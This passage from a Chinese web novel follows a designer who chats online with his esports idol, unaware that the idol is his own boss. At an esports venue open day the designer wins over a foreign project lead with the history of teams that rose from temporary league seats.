说是教案,倒不如说是提纲,通篇都是【详细内容参阅百科词条xxx】【现场录像在J站搜索关键词“xxx”(必看!)】。 只是才翻过去一页,季闻则就开始头大,像上学时不怎么安生的那类坏学生,拿出手机开始骚扰同学- 【Execut2:你问薛简要了名额?】 郁思白刚刚难得认真地加班完成了一份教案,才打了卡,就收到了来自Execut2的消息提示。 然而,还没来得及为男神第一次主动发消息而兴奋,在看清消息内容的瞬间,郁思白先莫名生出点心虚来。 就很像保研名额下来的时候,一直很看好他的老师板着脸问他“你不参加保研,是要考去别的学校?”。 想了想,郁思白翻出一个不好意思的小狗摸头表情包发了过去,然后连忙解释。 【嗯嗯,因为怕两个名额太麻烦卡神了,所以就……想想还是找薛老板了】 【薛老板正好有求于我!找他也方便。】 【卡神下班了吗?/乖巧】 【Execut2:没有,有培训。】 郁思白眉头一皱。 什么破公司半夜培训。 【Execut2:有求于你是指】 【Execut2:签了卖身契?】 把打抱不平的正义感咽回肚子里,郁思白呛咳出声,打字的速度都快了些。 【哈哈哈薛老板连这个都跟你说了呀】 【只是挂个名而已,时长什么的都没有要求,签了公会收入还能多些呢】 【虽然钱不是重点】 【卡神,我这次去不是散心的。】 【我有一个,一箭三雕的天才计划!!】 对面半晌没有回复,不知道是不是被培训讲师叫起来回答问题了。 又或者卡神就是那个给人培训的? 郁思白心里胡思乱想着,从电梯出来,一脚踏进下班的洪流,小心翼翼攥着手机,以免被碰掉,最后等了一会儿,见还是没有消息回复,便揣进了兜里。 往常他很少会在路上玩手机,他不太刷短视频,也没什么聊天的人。 他的朋友构成结构单一,清一色的电竞选手。但现役的——pupu他们这个点正忙着打训练赛;退役的——楚别夏等等、也在忙各自的事。 成年人的世界好像很少有天天分享琐事的关系,哪怕是情侣,都不是全部如此的。上班已经够费神了,吐槽老板也不是天天都有力气的。 挤进地铁,郁思白看了眼周围人群,基本都是挂着耳机看视频听书的麻木年轻人,只有一个靠在最里面的姑娘,倚着那扇不开的门,双手捧着手机打字,笑得一脸甜蜜。 喔,在场唯一一个热恋期。 郁思白收回视线,抓稳扶手随着人群晃动。 忽然,耳机里响起消息提示音。他立刻回神,用没抓扶手的左手笨拙地掏出手机,奋力解锁滑动。 【Execut2:嗯?】 【Execut2:说说看】 郁思白弯了弯眼睛,换了只手打字。 【第一雕肯定就是争取一下项目。】 Execut2倒是句句有回应,又回了句【嗯】。 列车到站,停稳后郁思白为了加快打字速度,松了抓扶手的手,没两秒,人已经被上下车的人流挤得晕头转向、脚步踉跄。 他抬头看了眼离下车还有几站,索性一侧身,灵活把自己塞到了无人问津的车厢最里侧。 一抬眼,和刚刚看见的那个唯一热恋期姑娘对上视线。 两个人都是眉眼弯弯,愣了一下,姑娘友好地笑了笑,两个人又齐刷刷低下头,把注意力重新全部投入到手机那端的人身上。 郁思白来不及多想,兀自分享着自己的天才计划。 【然后呢,我看看能不能物色到合适的下家,据我所知藤竞这次请了全国范围的设计团队,有几家我之前听说企业文化特别好,顺便考察考察,我是不介意以后去别的城市啦。这是第二雕!】 【第三雕嘛……】 【现在辞职是暂时辞不了了,手上有一个关系全组命运的大项目要做。但我想了想,处理不了工作,可以处理老板呀!!】 【开心挥魔法棒.jpg】 【Execut2:?】 【Execut2:详细说说】 【卡神你也为我的计划着迷吧/闪亮.jpg】 【是这样的,就今天下午……他给我道歉了来着。】 【还,挺真诚的。】 【Execut2:那你现在处理……】 郁思白察觉到卡神似乎对此不能理解,心道卡神果然是无畏契约职业圈大开大合有仇必报的鼻祖,即使道歉也得被处理。 如果今天摊上这事的是Execut2,季闻则该不会已经出现在那个西装男手里了吧。 思考片刻,郁思白严肃反思。 【卡神你说的对,我还是对老板不够秋风扫落叶。再有下次,我一定当场处理。】 【Execut2:……好的】 再次获得Execut2老师肯定的郁思白笑弯了眼睛,头往门上一贴,幸福打字。 【是这样的卡神,我认真考虑过之前为什么想辞职……其实被人知道在当主播只是个导火索。或者说,是我给自己的一个理由吧。】 【其实更多的还是我真的不想再做机械重复工作了。上学的时候,我每次画图都可开心了,精益求精,一张图改两三天。】 【我很厉害的,我室友要三天才能画出来的图,我三小时就能做的和他一样,但我三小时可以做出更好的东西。】 【以前的话是这样的,现在……我也不确定了。】 郁思白额头贴着的那块玻璃被体温捂热了,他动了动脑袋,重新换了处冰冷的靠,仿佛这样才能冷静地思考问题。 【誉衡别苑,就是我说的那个大项目。虽然是我们组做,但其实我们也没有绝对话语权,对面的老板也是效率至上的人,做精细根本不可能。】 【但如果我真的能拿到场馆项目,这个不一样。】 【Execut2:挺好的】 【Execut2:做你想做的事】 郁思白抿唇轻笑了一下。 【不只是这个。】 【其实我也不知道这样做对不对啦……可能有点天真,但是我觉得】 他想了一会儿,指腹才重新敲上屏幕。 【我觉得他和我以前的老板都有一点点不一样。】 【虽然整体来讲也不是好人,但如果是他的话,至少有可能。】 【卡神,我想让老板知道设计不是赚钱而已,设计是造梦。】 打完这行字,郁思白停顿了片刻。 高向日跟他说可以辞职单干,他不是没想过。但最后得出的答案始终是不可能。 他知道自己是没法单干的,他一点也不想去谈项目,一组现在没有适合谈项目的人,他更没法从外面招揽新人来做这么重要的事。 毫无疑问的,如果单干,跟各路老板甲方谈项目的事儿,他本人就要亲自上——他就要过上钱老抽和季老狗的生活了。 那还不如鲨了他算了! 所以摆在面前的只有两个选择——放弃设计辞职当主播,或者直接净化老板那颗可能还没黑透的心。 老板改变了,公司就会改变,公司改变了,哪怕他有一天真的不干了,像小穆一样的新设计师也能有自由生长的空间。 比起临阵脱逃一样辞职,郁思白想,倒不如放手搏一把。 对话框那边蹦出新的回复,原本暗下来的屏幕又重新亮起。 【Execut2:怎么突然想到这样】 屏幕的荧荧光亮也点亮了郁思白的眼底。 【因为你】 他手快地把三个字打了上去,又在发出去前刷刷删掉,重新修饰,解释的更明白。 【放以前我肯定是没有这种魄力的,但是卡神,我猜如果是你的话,一定会这么做。】 【你成功过的呀】 【所以我也想试试,至少试一下】 【失败的话也就是再打两年工,要是成功的话,至少能造福我直到退休耶。】 【卡神你觉得呢?/乖巧.jpg】 列车缓缓停下,郁思白被闪了一下,踉跄着站稳,恍然发现已经到了自己要下的站。 这是个挺冷门的站点,没什么人下车,上车的也寥寥无几,郁思白虽然起步的有点晚,但还是努力挤过沙丁鱼罐头一样的车厢,在灯闪铃响之前踏了出去。 车站人烟稀少,相比车厢内,空气骤然流动起来,挤在里面的时候不觉得,一出来,郁思白觉得呼吸都畅快了不少。 他低头拿起手机,Execut2的回复一如既往的简短,但始终给他正面的答案。 【Execut2:我相信你】 郁思白也回。 【我不会让你失望的/小猫敬礼.jpg】- 周三上午郁思白拿到了开放日的邀请函,两张,翻开之后有名有姓。 尊敬的郁思白先生,和尊敬的季闻则先生。 郁思白忍不住想,如果当时是通过卡神拿到邀请函的话,现在上面写的,该不会是Respit2吧。 为了遮掩马甲,他从来没参与过直播圈子的线下活动,自然也没有感受过这种被陌生人叫网名的感觉……网友不算。 开放日地点就在藤竞的园区,是独立的一栋小楼,原本是荣誉陈列馆,职业选手们多少都去参观过,郁思白以前从pupu那里听说过,但实地去,还是第一次。 哪怕没有他的天才一箭三雕计划,他也是期待着去一趟的,虽然……季闻则不一定是一个很好的同伴。 中午吃过饭,还没到午休时间,季闻则主动先来了一组的办公室门口,风衣搭在臂弯,显然已经准备好出门。 “郁组长,出个外勤?”他这么说。 郁思白点头,在向日葵们疑惑的目光中起身的时候,莫名觉得自己和季闻则有点像地下/党接头。 要争取场馆项目的事,他没跟组员说,现在还只是最开始的阶段,能不能有希望拿到这个入场券都未可知,还是等有眉目了再说也不迟。 去的路上还是他开车,季闻则在副驾处理工作,显然,昨天拒绝他时说的“很忙”并不是托词,快到目的地的时候,他才收起平板。 “又辛苦郁组长开车了。”他含着笑说。 郁思白只扫了他一眼,半句场面话都没说,开口就是。 “季总,我考考你。” 季闻则缓缓侧头,神情似乎想笑,又觉得有些不合适,最后只道:“你说。” 郁思白没搭腔,似乎在杜撰题目。 他提前登记过车牌,开到地库前自动开闸放行,认认真真把车停进车位之后,郁思白忽然看向还在等待的、竟然意外是个乖学生的老板,半晌道。 “算了,郁老师相信你。” 季闻则失笑,刚要说什么,手机忽然响起。 “稍等,接个电话。”他抬了下手让郁思白别急着走,顺手解了安全带,接通电话。 地库本身就没什么声音,环境封闭的车里更是针落可闻,郁思白哪怕不怎么刻意侧耳,都能隐约听见电话那边的说话声。 似乎是杨孟越。 “季总……京市的……总……临时来沪……约您……” 郁思白眉头微微扬起,咔哒一声,也解了自己的安全带,拿出手机。 “现在?”季闻则问,声音里的笑意不似往常一样明显。 他说着,下意识侧头看了一眼郁思白,但青年只垂眸摆弄着手机,仿佛压根不在意他的去留。 杨孟越说:“是的,对方只在沪市停留三个小时,想约您在公司见一面。” 季闻则抬腕看了眼表。 他们从公司开车来这里就用了四十分钟。 “来不及。”他毫不犹豫,“推了。” 说罢,他拍了下郁思白的肩膀,自己拉开车门下车,用行动表明“这开放日我去定了”。 郁思白不急不缓,先是撩开眼皮在他背影上停顿,然后垂眸,敲完最后一个字发出去,才推门走出去。 消息自然是发给Execut2。 【?季老狗突然接了个电话,他不会想跑路吧:)】 半分钟后。 【卡神你知道吗,刚刚我老板离死就差小小的一步/乖巧.jpg】 【虽然不知道是不是做给我看的戏,但这不重要】 【他肯为朕花心思就好】 等他锁好车走到前面,季闻则已经挂了电话等他,地库有些倒春寒的风,于是他披上风衣,动作太过利索、以至于失了一些平日里那种优雅劲儿。 高情商是优雅,低情商是人模狗样。 倒是顺眼了不少。 郁思白把属于他的那份邀请函递过去,明知故问:“季总有事?” 季闻则翻开看了眼,目光在无畏契约的联赛标识上停留了一秒,随口道:“差点就有了……总开会来开会去也挺烦的。” 郁思白看他一眼,突然就感受到之前只存在于八卦里的那句,“季总也是从最基层干出来的”。 合上邀请函,季闻则抬头和郁思白对视,清晰地看到对方眼底毫不遮掩的的探究和打量。 好像在思考他论斤称起来能卖多少钱。 “而且是我先答应的你,总得讲究个先来后到,免得叫我失信于人。”季闻则嘴角勾起,笑了一下,合上邀请函。 “走吧,郁组长,郁老师?”他说,“这次不会让你失望。”—— 作者有话说:[猫爪] 第27章 郁思白多看了季闻则两眼, 没有兴趣去探他葫芦里卖的什么药,但确实定了心神。 至少他真的能站在这里,一会儿……应该也多少会有些感触吧。 郁思白走在前面, 心里莫名生出一点送学生上考场的感觉。 两人上到地面,在小楼门口递了邀请函, 各自领了两只印着cn赛区花火logo的小手提袋。 郁思白拆开看了一眼, 又失望地合上,季闻则只拿在手里,见状轻笑。 “没有你想要的东西?” “嗯。”郁思白怏怏,“感觉像没卖完的东西拿出来凑数……啧,拿回去直播抽奖送了吧。” “我的也给你送了吧。”季闻则说。 郁思白毫不意外他对此没有兴趣,没有推辞, 伸手接过:“你这个没拆,给小穆。” 季闻则明显顿了一下:“小穆是谁?” 郁思白瞥他:“季总钦定的继承人……你连他名字都不知道?” 季闻则难得讪讪。 小楼从外面看不怎么起眼, 里面却别有洞天, 整体是黑青配色,游戏科技感十足, 中庭挑空足有三层高,展品陈列琳琅满目。 原本还想着怎么熏陶一下老板,这一脚踏进来,郁思白自己先移不开眼了。 “据说这里还有知名选手的外设陈列。”他道。 至于是哪些职业选手……他想看的, 那还用说吗? 郁思白已然把老板抛到脑后了, 兀自上前几步在门口地图前站定, 目光反复端详着,制定游览路线,却忽然听到周围窸窸窣窣的低语声。 “他怎么也来了……” 这些声音在空旷高挑的场馆里,显得回神格外清晰, 郁思白左耳进右耳出,半点没在意。 就在此时,一个同样拎着伴手礼的青年上前,站到他旁边,挡住了他小半侧视线。 郁思白抬头,面前的青年面容还算清秀,有些眼熟,但目光再往上走却只能寻到一片荒芜——显然,年纪不大,发际线倒退的速度却已经实力强劲。 看着这片地中海,郁思白想起了来人的身份,颔首道:“于设。” 至于名字嘛……那就完全没记住了。 他和这位于设,先前在交流会见过两次,姓氏原因,两次都恰好被排在相邻的座位,于设这人有点神神叨叨,但人也看得出真诚,两人虽然没有相谈甚欢,但也已经算郁思白在同行里为数不多说过话的人了。 见他叫出自己的姓,于设有点惊讶,摸了下自己的地中海后了然。 “真没想到能在这里看到郁设,真是意外。”他说着,看向他旁边的男人,“这位是……?” 郁思白还没开口,就听身后的人说。 “郁老师的助理。”季闻则含笑道。 这个答案有点意料之外,于设愣了愣,总觉得此人气场不像,但也不好追问,只谨慎地说了句“你好”。 那助理含笑也点头,神色如常,只是于设下意识避开了他的视线,心下倒是啧啧称奇。 不愧是出了名难接近的郁设,就连招助理,都招个气场这么强的,也不怕压不住。 “于设有事吗?”郁思白问,不着痕迹地把他往边上挤了一下。 挡着我看地图找卡神外设了! 结果于设又挤了回来,低声道:“郁设,我是来提醒你一句……你今天来这儿实在不是个好选择。” “怎么?”闻言,郁思白终于暂时收回视线,问。 于设一挑下巴,往不远处方向努努嘴,脑门随着抬头的动作反了个光,神秘道。 “一号展台跟前站着的那个,认识吗?邓工,卢近仁师兄,主办专门从粤市请来的人……负责人很是看好。” 郁思白顺着他的目光看过去,看见被人群簇拥着的中年人一头灰发,刺绣中山装,整个人艺术气息倒是浓厚。 他点了下头,示意自己对上号了,还等着于设的下一句话,对方却点到即止地收了声,给了他一个“你懂得”的眼神,便寻了理由转身离开。 郁思白眨了下眼睛,面无表情地重新低头看向地图,隔了两秒,冷不丁问。 “他什么意思?” 附近只他和季闻则两人,问的是谁不言而喻。 “卢近仁答应钱远新来庭季的时候,跟前东家闹的不大愉快,现在没了工作,在沪市待不下去,去了粤市。”季闻则平铺直叙地说完,那架势倒真的像个合格的助理。 说完,季助理忽然莞尔,偏过头看他,很不专业地好奇道:“你不知道?” “没了解。是说他去投奔师兄了?” “嗯。” 得到肯定答复后,郁思白只“哦”了一声,明显对此兴致缺缺,倒是终于在地图上找到了合理路线,立刻往展览区走去。 季闻则哪曾想他连这事儿都没了解过,可自己再说下去就有邀功的意思了,只能失笑。 摆在展馆最前面的是一纵列的奖杯,cn赛区每年的联赛奖杯、和其余几尊世界赛奖杯。虽然标注了都是仿品模型,但只是摆在聚光灯下,视觉效果也足够震撼。 郁思白突然想起,自己这周末光顾着兴奋和Execut2说上话的事儿,竟然都没来得及去ICG一趟,亲手摸摸他们的冠军奖杯。 真是被卡神冲昏头脑的日常。 郁思白加快脚步走上前去,径自略过了卢近仁师兄一行人。 只在电脑屏幕里看见过的东西,如今就在眼前,他难免心情激荡,侧头正要和季闻则分享两句,却听见旁边一个声音传来。 “这位就是庭季一组的郁思白、郁设计,先前……” 季闻则清清楚楚看见被点名的郁设计重重翻了个白眼,冷着脸,别说是转身,就是扭头都欠奉,权当没听到。 他侧过头,抬手抵在唇边忍笑,然后替他抬眼看过去。 当众叫出郁思白名字的,是那群人里身材瘦削些的矮个子年轻人,他站在染了灰色头发的卢近仁师兄旁边。 跟季闻则不同,这位一眼看着,就知道是助理。 他们似乎也没有要和郁思白交谈的意思,只是助理在向卢近仁师兄做介绍而已,只不过声音略有些大。 卢近仁师兄,那个染了艺术灰发的邓工盘着手里的串,扫了郁思白的背影一眼,说。 “效率至上、追名逐利……卢近仁之前就是被这种设计师比下去了?”他嗤了一声,“我看卢近仁也趁早别来我这里干了。” 邓建洋向来讲究艺术,显然是看不上年纪轻轻、靠着做套路活儿起家的郁思白,带着助理和几个学生,跟他们保持了两三米的距离。 “你们以后要是变成这样子,出去就别说是我教出来的。”他训话。 几个学生低眉顺眼地应了,其中一个明显穿着旧衣的学生抿了抿唇,似乎想问什么,但最后还是什么都没说。 “季……助理。”郁思白没再分神给他们,拍了下季闻则胳膊,示意他看第一尊奖杯。 “这个,是我觉得设计最好看的一个联赛奖杯,不愧是头一个……季助理!” 郁思白察觉到他的走神,不怎么愉快道。 给老板甩脸色看,说到底,他果然还是最擅长这个了。 “抱歉。”季闻则垂眸,唇边抿了个笑,从善如流地认真看过去。 耳边,郁思白声音不大地说着奖杯设计的小细节。 “vctcn的logo不是花火嘛,这个奖杯的设计灵感是绽放的烟花,但有个小细节,我特别喜欢它烟花中心的这颗雕出来小石头,据说还能拿下来……” 这是季闻则第一次认认真真看这尊奖杯。 这尊……为它回国,却一眼都未曾见上的奖杯。 平心而论,奖杯设计得极其精致抓眼,让人见之心喜。可季闻则目光只从那尊奖杯上扫过,便不着痕迹地移开了视线。 奖杯静静被放置于聚光灯下,金属表面反射着明亮的光,更映得看它的人眉目生辉。 “……就是有点可惜。”郁思白声音忽然低下来,仿佛只是说给自己听。 季闻则下意识侧耳仔细分辨。 “灰蓝色的宝石,没有被那朵落的太快的烟花摘到。” 季闻则顿时如同被贴了符纸,怔在原地,直到青年低低叹了口气,他仿佛才被这一叹解开束缚。 郁思白也只是随口一感叹,抬手用手背挤了挤脸颊,很快又提起新的兴趣看向别处。 这时候,身旁忽然骚动起来,他看过去,是来了一个西装革履的高管,约莫是负责人,身后还跟了个外国人。 二人进场以后,高管和其余设计师团队简单打了个招呼后,直奔郁思白这边—— 然后迎向他们身侧、卢近仁师兄邓工的团队。 “邓工,辛苦辛苦。”高管笑道,也不绕弯子,直接问,“参观的如何?邓工有没有什么新灵感?” 邓工盘着串,缓缓说:“一共四十八支队伍,我们有一个想法,把四十八支队伍的队标汇集到一起……” 一身笔挺西装的高层负责人听得点头,他看了眼旁边高鼻梁深眼眶的外国人,对方却仍旧严肃皱着眉,似乎因为听不懂中文而不满。 于是邓工身旁的瘦削助理见状,立刻上前一步,流利地把老板的话翻译给外国人听。 哪知道这一翻译,那外国人眉头皱得更紧了,语气不耐。 “This is not what I had in mind.” 他说,这和他想的不一样。 西装高层愣了愣,用英文说:“克里夫先生,这不是之前我们沟通过、您也认为比较不错的方案吗?把所有队伍的队标聚集在一起……” 见状,邓工把串一搂回掌心,闭口不言,只用眼神示意助理解释。 瘦削助理笑意满满,直接用英文和那位克里夫先生沟通:“如果你们担心无法突出主次,请放心,我们想以金字塔的形式呈现,呼声最高、承载最多人目光的冠军队伍会被放在塔尖,四十八支队伍,正好可以……” 克里夫仍是摇头,眉头皱出深深的沟壑。 “不是四十八。”郁思白终于忍不住,上前一步,先环顾一圈,最后看向克里夫,开口英语流利,是标准的美音。 “你想的,应该是六十支吧。” 怎么说郁思白也是熟练转播外赛区比赛的解说,不说欧洲美洲赛区,他平时就连东南亚战队的英文口音都能听懂,日语韩语也略懂个皮毛,都是多年以来积累的经验。 没等克里夫开口,邓工身后,一个学生先笑了一声。 他仗着甲方是个外国人听不懂,侧身佯装跟同伴说话,实则一点也没压低声音地说:“这个郁设计不会连基本功课都没做好,就找了个关系来开放日吧?” 他的同伴看了眼盘着串、一副高人模样的老师,开口应和。 “不清楚……听说他们这种做套路活儿的设计师,确实不会好好了解客户背景。” 邓工的瘦削助理也皱起眉,不悦地反驳。 “每个赛区十二支队伍,一共四个赛区,哪里不是四十八?” 眼看着喧闹起来,周围也渐渐聚集了一些人,故意看着附近的展品,只偶尔小瞥一眼,围观的很体面。 听郁思白这样讲,有人不禁疑惑。 “四乘十二……不是四十八?” 同伴不明所以地摇头:“听听看……没看两个负责的都没说话吗。” 郁思白瞥了瘦削助理一眼,那两个学生更是眼神都欠奉,淡淡道。 “每个赛区确实是十二支队伍,但是由十个固定席位和两个临时席位队伍组成的,你们做过功课,不会不知道吧?” “那……那除去两个临时席位,也应该是四十啊。”一个学生说,“你的六十又是哪里来的!” 郁思白道:“这两个临时席位队伍,成绩差的那个,每年要打一场晋升赛,冠军保留席位或升入联赛。所以几乎隔两年,就会有新的血脉注入联赛。” “从联赛建立至今,四个赛区曾经获得过联赛席位的队伍,一共六十支整……” 郁思白微微挑起嘴角,那笑容里带着淡淡的、不经意的讽刺。 “啊,你们不知道么?” 围观人群里,不知谁笑了一声——虽然笑的人自己也不一定知道,但谁又能拒绝看别人的乐子呢。 这下子,别说是瘦削助理,闻言,就是邓工的脸色也顿时不好看起来。 他也是才接触这个项目不久,资料全是手下学生和助理去收集给他看,哪里知道这些弯弯绕绕! 灰色头发的邓工眉头重重一拧,目光像要吃人一样看向学生,看得学生打了个寒战,连忙低头。 收回视线的时候,邓工看见越来越多的围观人群,有些已经不满足于装模作样地体面吃瓜,索性双手环胸站在原地看了。 邓工攥紧手里的木串,胸口起伏。 一直没说话的外国人克里夫,重重哼了一声。 邓工停下盘串的手,眉头一皱一松,回头沉声圆场。 “我以前没有了解过这个行业,但我也知道他们有句话是——‘实力至上’。” 邓工:“设计元素需要取舍,台前的十二支队伍正好对应轮回,我们要的就是这种宿命感。”说罢,他看向旁边走过来的藤竞高层,对他点了下头。 那西装高层下意识点了头,开口:“是的,邓师的设计理念我们了解过,十周年正需要这种宿命感的交融。” 说罢,他又看向郁思白:“你是?” “庭季一组,郁思白郁工。” 一个头顶反光的地中海青年在人群里喊了声,“誉衡别苑指定设计师,没听过吗?” 喊完,他又藏回人群,让环顾的西装高层像没头苍蝇一样,只能无力地转来转去,这一打岔,就已经错过拦下这位郁工的最后时机。 “你说的对,设计元素需要取舍——但绝不是在这种地方。”郁思白开口干脆,掷地有声。 他收回落在邓工一行身上的目光,上前两步,走到第二尊联赛奖杯前。 季闻则眉头微动,抬脚跟上。 西装高层原本要开口拦住,却被那个叫克里夫的人抬手挡下,克里夫把他甩在身后,跟了上去。 围观众人彼此看看,最后也还是三两上前,邓工原本无意凑过去,也被人群推着,挤到了最前面。 郁思白指尖在介绍卡面点了下,一眼都没看,直接道。 “获得这年联赛冠军的,就是从晋升赛打上来的临时席位队伍ZAG。” 有人凑上前看了一眼:“嘿,还真是。” “他妈的到底是谁在放庭季一组不搞调查的洗脑包,老子真信了。” “嘘、嘘!还没说完呢——” 邓工的串彻底盘不下去了,他张着嘴,仿佛要反驳什么,却被郁思白紧随而至的声音打断。 “S4纽约大师赛,突破赛区最好成绩进入八强的,是临时席位队伍DHD。” “S5汉堡冠军赛,作为第一次进入世界赛的队伍,在绝境里爆发出极大的韧性,三次让一追二挺进败决的,是临时席位队伍YEG。” “还有这尊奖杯。第六届联赛冠军队伍TUG,在主力选手退役后接任一突位置拿下联赛FMVP的选手,同样出身临时席位队伍。” 郁思白又看向第七尊奖杯,目光在上面ICG三个字母上略过,声音清晰有力。 “还有这尊——它的拥有者也曾经挣扎在晋升赛里,四年前才转为固定席位,今年终于拿下联赛首冠的,曾经的临时席位队伍ICG。” 说罢,声音始终波澜不惊的青年忽然轻笑了一声。 “你是要在他们的成绩面前,说实力至上?” 邓工手下负责收集资料的那个学生,一时间失了声音。 可他搜集的资料里,明明是唯成绩论,明明是成王败寇……明明就是谁拿不到冠军谁就是被唾沫淹死! 郁思白抬眼,目光扫过邓工一行,最后锐利地看向灰色头发的中年人。 “这只是cn赛区的临时席位队伍成绩,其他三大赛区历史更久。” “单说S1冠军赛冠军,捧杯的就是晋升赛一路打上来的战队,无畏契约历史上的第一个世界冠军队伍LK、第一个世界冠军FMVP选手Execut2,全部都是临时席位出身——” “但你说的这些队伍,还有这些人名,现在都在哪呢?我搜资料都搜不到他们!” 刚刚被邓工狠狠瞪过的、负责收集材料给老师的学生终于忍不住,高声道。 “如果要按你这种矮子里面拔高个的抓亮点方式,我们这个项目还有没有重点!” 是啊,老师明明告诉他,要突出重点,要成王败寇,要去揣摩贴合这个圈子的心思。 “小赵,注意语气。”邓工抬手,在越来越多人的围观下,深吸一口气,竭力没有说出太过分的话,只不甚赞同地说。 可他表面是拦着自己的学生,看向郁思白,开口却仍是颇看不上的语气。 “年轻人,项目经验还是太少。郁设计平时做惯了逐利的项目,会想着多讨好一些人群以获得更大的利益,也是可以理解的。” 他重又盘起串儿来,扯了扯嘴角,故作和蔼地说:“现在是快节奏的时代,电子竞技这个项目,更是开了加速一样的日新月异……” “但电子竞技遗忘的越快,我们越要把他们全部记住。” 未曾想,青年干脆地打断了他长篇大论的开头。 郁思白上前一步,那排奖杯仿佛在他身后霍然展开,聚光灯明明落在奖杯上,却点燃了他那双浅色的眼瞳。 “如果一直只看到最耀眼的那冰山一角,如果连这场盛会的目光都无法投向海底,那就真的没人会再想起他们了。” 他目光如同炬火,声音却像碎冰溅落地面,霎时间,周围安静下来。 “我喜欢你的观点。” 突然,那个一直神情游离的严肃外国面孔,上前半步,张嘴就是一口不太标准、但已算流利的中文。 邓工众人立刻神色微变,他旁边的助理已经忍不住低呼:“克里夫先生会中文?” “是的,我曾经在这里留学两年。”光头外国人虽然回答了他的话,但表情厌倦,眸光倨傲,转头看向郁思白的时候,那张严肃的脸上才扬起了一点笑容。 他友好地伸出手:“设计师,你好。我叫克里夫,是这次十周年嘉年华项目的总负责人之一。” 郁思白顿了一下,才伸手和他交握:“你好,郁思白。” 邓工眉眼骤然压低,递给助理一个眼神,助理侧头看向西装高层:“陈经理?” 那位被称为陈经理的高管笑了一下,对上邓工一行人的表情有些尴尬,但还是点头道。 “是的,克里夫先生和我一起负责这次活动。他曾经也是一名职业选手,现在是一位出色的管理者。这次特意前来,就是想听听诸位设计师的不同见解。稍晚一些的时候,我们会在报告厅……” “陈,我觉得已经不用再听了,我的时间有限。”克里夫说,“我觉得郁和我心意相通,这是上天的指引。” 邓工猛地攥住手里的串,脸上红一阵白一阵,他甩手想走,却被那位高管好言劝下,虽然没走,但也远离了两步。 他们一退开,郁思白只觉得全厅的目光都向他看齐了,忍不住抽了一下还被握着的手。 没抽动。 克里夫碧绿的深邃眼眸凝视着他,先前一直严肃的脸,现在竟然已经漾起一种很有法式深情的笑容。 “郁,希望没有打扰到你的游览。如果你方便,我想现在就邀请你,详细说说你的想法。” 他攥着郁思白的手,他又用力上下摇晃了两下,、只是面前的青年设计师似乎性格冷淡,否则,克里夫肯定是要上前、跟“心意相通”的设计师行一个贴面礼的。 心里正这样想着,克里夫忽然觉得一道目光淡淡扫上自己,循着感觉抬头找过去,目光却是猛地一顿。 之前他的目光和注意力,全部都聚焦在心意相通的青年身上,丝毫没察觉到,在他侧后方,还站着一个略高一些的男人。 不……不是他刚刚没察觉到这里有人。 而是这人,先前一直是温和含笑的,和其他人的助理似乎没什么两样,克里夫才没有去注意他。 但此刻他只是敛了笑容,存在感在克里夫眼里,就陡然间拉到了极致。 男人面容和那位叫“郁”的青年,是如出一辙的冷淡,眉眼疏离,却又气质锐利,两人乍一看仿佛亲生兄弟一样,但让克里夫惊诧的并不是这种相似。 而是这气质簇拥下,男人那张瞬间显得熟悉的脸! 他瞳孔缩了缩,下意识开口:“E……” 男人在他看过来的瞬间微微侧目,视线撞上他的,紧接着,微不可查地摇了下头。 他目光和克里夫记忆中一样冷淡,丝毫未改。如同杀手挎在腰间、用拇指抵开一丝缝隙的剑,只露出一瞬的寒光,却足以威慑。 下意识的,克里夫立刻收声,连带着握住青年的那双手,也逃也似的松了,终于放回了自己裤缝边,扣了一下。 而手上突然重获自由的“心意相通”青年,似乎察觉到什么,半侧过头看向男人,带着疑惑。 下一秒,克里夫眼睛再次睁大。 上一刻还冷得仿佛睥睨全世界的男人,瞬间变了脸,唇角微微上挑,低眉含笑。 一瞬间的功夫,就完全换了个人。 男人垂眸轻声问:“怎么了。” 怎么了? 克里夫后退半步,觉得自己见鬼了。 物理意义上的见鬼。 该死的……撒旦在世! 不是说Execut2跟着他的id一起,在这片华夏大地死透了吗?!—— 作者有话说:你说的对,但我们华夏大地有非常会招魂的神奇res宝宝[眼镜] [猫爪] 第28章 陈经理拍了拍克里夫肩膀, 这个如遭雷劈的外国人才清醒过来。 “怎么了?”陈经理问。 克里夫顿时应激,嘴角一抽,浑身一抖, 磕绊着回答:“……没事。” 他重新看向和他心灵相通的郁……和他旁边的鬼,有点恍惚地问。 “你们……是有意来参选场馆项目的吗?” 郁思白被问得有些莫名其妙, 只觉得这个外国人好像突然语言系统崩溃一般, 中文突然不那么好了。 难不成他们还是来旅游的? “对。”他还是点头,但婉拒了对方去单独交流的请求,“但抱歉,我想先参观这里。” 他的声音让克里夫彻底回神,连忙道:“或许我们可以边走边说。” 说罢,他看了眼青年身边的男人, 下意识问:“可以……吗?” 郁思白一歪头,听见季闻则一声轻笑, 恪尽职守地当着助理, 替他回答:“当然可以,克里夫先生。” 郁思白更觉得这个外国人古怪, 抬手推了下眼镜,忽然问:“你们认识?” 他是看着季闻则问的,先答话的却是克里夫。 绿色的眼睛仿佛变成蚊香盘,他抬手摸了摸后颈, 只觉得眼前这张脸又陌生起来, 迟疑道:“不认识……可能是我对亚洲人有点脸盲?” 是不是认错人了啊。克里夫心想。 Execut2那个该死的魔鬼, 怎么会这么礼貌地称呼人,又怎么会对人笑呢? 就这么一个念头的功夫,季闻则又笑了一下,侧目看了他一眼, 目光里带了点恰到好处的好奇。 克里夫猛地打了个哆嗦,收回视线,晃了晃脑袋,低声用母语极快地嘟囔了一句什么,郁思白隐约听到了几个不雅词汇。 “我们走吧,郁。”克里夫缓过神来,寻求庇护似的,下意识往他身边靠了靠,扬起迷人的笑容,用法语说了一句,“请允许我成为你的同伴。” “抱歉,听不懂法语。”郁思白道。 克里夫保持着迷人的微笑,丝毫不觉尴尬,显然也是位搭讪常客,语气始终热切。 “郁,你的想法让我非常兴奋……这让我想起我当职业选手的那段时光。” 郁思白忽然想起陈经理刚刚对他的介绍,再结合他刚刚看向季闻则时迷惑的眼神,心下了然。 “克里夫先生,以前在EMEA打比赛?” “是的,我曾经获得过第一届EMEA联赛的亚军,所以,郁,你的思考非常让我感动。”克里夫笑弯了眼睛,绿眸如同嵌在眼眶里的深邃宝石,极熟练地向欣赏者展示最美丽的角度。 然而这一切注定是媚眼抛给瞎子看。 此刻,郁思白脑海里只有一个念头——这是和Execut2同时代的选手。 是曾经和Execut2站在同一个比赛台上的选手! 是……是同好! 再开口,他的声音明显多了几分温度,看向克里夫的眼神也亲近了些。 “这也只是一个大致的想法,并不成熟。”郁思白说,“今天来这里,我也希望能找到更多的灵感。” 